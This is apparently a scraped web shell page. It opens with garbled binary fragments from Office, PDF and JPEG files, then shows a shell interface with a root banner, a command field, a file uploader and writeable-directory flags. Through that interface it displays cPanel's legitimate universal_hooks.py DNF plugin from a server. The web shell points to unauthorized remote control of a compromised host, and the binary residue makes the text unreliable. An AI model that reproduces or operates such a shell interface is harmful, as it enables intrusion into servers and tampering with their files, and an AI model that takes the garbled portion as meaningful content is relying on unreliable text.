œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /usr/lib/python3.6/site-packages/dnf-plugins/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/lib/python3.6/site-packages/dnf-plugins/universal_hooks.py
#!/usr/bin/python3.6

# Copyright (c) 2020, cPanel, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import abc
import glob
import logging
import os
from os import path
import re
import subprocess
import sys
import tempfile

from dnf import Plugin

# this logger is configured by the dnf CLI, but error() is not shown by default (but is with -v)
# LOG = logging.getLogger("dnf")

LOG = logging.getLogger(__name__)
LOG.setLevel(logging.ERROR)
LOG.addHandler(logging.StreamHandler(sys.stderr))


class UniversalHooksPlugin(Plugin):
    name = 'universal-hooks'

    def __init__(self, base, cli):
        super().__init__(base, cli)
        self.hook_root = '/etc/dnf/universal-hooks'

    def pre_config(self):
        _run_dir(path.join(self.hook_root, self.pre_config.__name__), LOG)

    def config(self):
        _run_dir(path.join(self.hook_root, self.config.__name__), LOG)

    def resolved(self):
        _run_dir(path.join(self.hook_root, self.resolved.__name__), LOG)

    def sack(self):
        _run_dir(path.join(self.hook_root, self.sack.__name__), LOG)

    def pre_transaction(self):
        name = self.pre_transaction.__name__
        _run_pkg_dirs(self.hook_root, LOG, name, DnfTransactionInfo(self.base.transaction))
        _run_dir(path.join(self.hook_root, name), LOG)

    def transaction(self):
        name = self.transaction.__name__
        _run_pkg_dirs(self.hook_root, LOG, name, DnfTransactionInfo(self.base.transaction))
        _run_dir(path.join(self.hook_root, name), LOG)


class FileSystem(metaclass=abc.ABCMeta):
    @abc.abstractmethod
    def glob(self, pathname):
        pass

    @abc.abstractmethod
    def isdir(self, pathname):
        pass

    @abc.abstractmethod
    def access(self, path, mode):
        pass

    @abc.abstractmethod
    def NamedTemporaryFile(self, mode, encoding):
        pass


class RealFileSystem(FileSystem):
    def glob(self, pathname):
        return glob.glob(pathname)

    def isdir(self, pathname):
        return path.isdir(pathname)

    def access(self, path, mode):
        return os.access(path, mode)

    def NamedTemporaryFile(self, mode, encoding):
        return tempfile.NamedTemporaryFile(mode=mode, encoding=encoding)


fs = RealFileSystem()


def _run_dir(hook_dir, log, args=''):
    if not fs.isdir(hook_dir):
        return None

    for script in sorted(fs.glob(hook_dir + "/*")):
        if fs.isdir(script):
            continue

        if fs.access(script, os.X_OK):
            cmdline = f'{script} {args}'
            completed = subprocess.run(cmdline, shell=True)  # todo change args to a list, shell=False
            if 0 != completed.returncode:
                log.error("!!! %s did not exit cleanly: %d", cmdline, completed.returncode)
        else:
            log.error("!!! %s is not executable", script)


class TransactionInfo(metaclass=abc.ABCMeta):
    @abc.abstractmethod
    def getMembers(self):
        pass


class DnfTransactionInfo(TransactionInfo):
    def __init__(self, transaction) -> None:
        self.transaction = transaction

    def getMembers(self):
        return self.transaction


def _run_pkg_dirs(base_dir, log, slot, tinfo):
    """

    :param str base_dir:
    :param logging.Logger log:
    :param str slot:
    :param TransactionInfo tinfo:
    """

    wildcard_path = path.join(base_dir, 'multi_pkgs', slot)
    dir_matchers = _make_dir_matchers(wildcard_path)
    wildcard_to_run = {}

    with fs.NamedTemporaryFile(mode='w', encoding='utf-8') as temp_pkg_file:
        members_seen = {}
        members = tinfo.getMembers()
        for member in sorted(set(members), key=lambda m: m.name):
            pkg = member.name
            if pkg in members_seen:
                continue

            members_seen[pkg] = 1

            temp_pkg_file.write(pkg + "\n")

            _run_dir(path.join(base_dir, 'pkgs', pkg, slot), log)

            for wildcard_dir, matcher in dir_matchers.items():
                if matcher.search(pkg):
                    wildcard_to_run[wildcard_dir] = 1

        # the file may be used by a subprocess, so make sure it is flushed to kernel
        temp_pkg_file.flush()

        for wildcard_dir in wildcard_to_run:
            _run_dir(path.join(wildcard_path, wildcard_dir), log, "--pkg_list=" + temp_pkg_file.name)


def _make_dir_matchers(wc_slot_dir):
    dir_matchers = {}
    for pth in fs.glob(wc_slot_dir + "/*"):
        if fs.isdir(pth):
            pth = path.basename(path.normpath(pth))
            dir_matchers[pth] = _regex_from_dir(pth)
    return dir_matchers


def _regex_from_dir(path):
    expr = path.replace("__WILDCARD__", ".*")
    return re.compile("^" + expr + "$")

........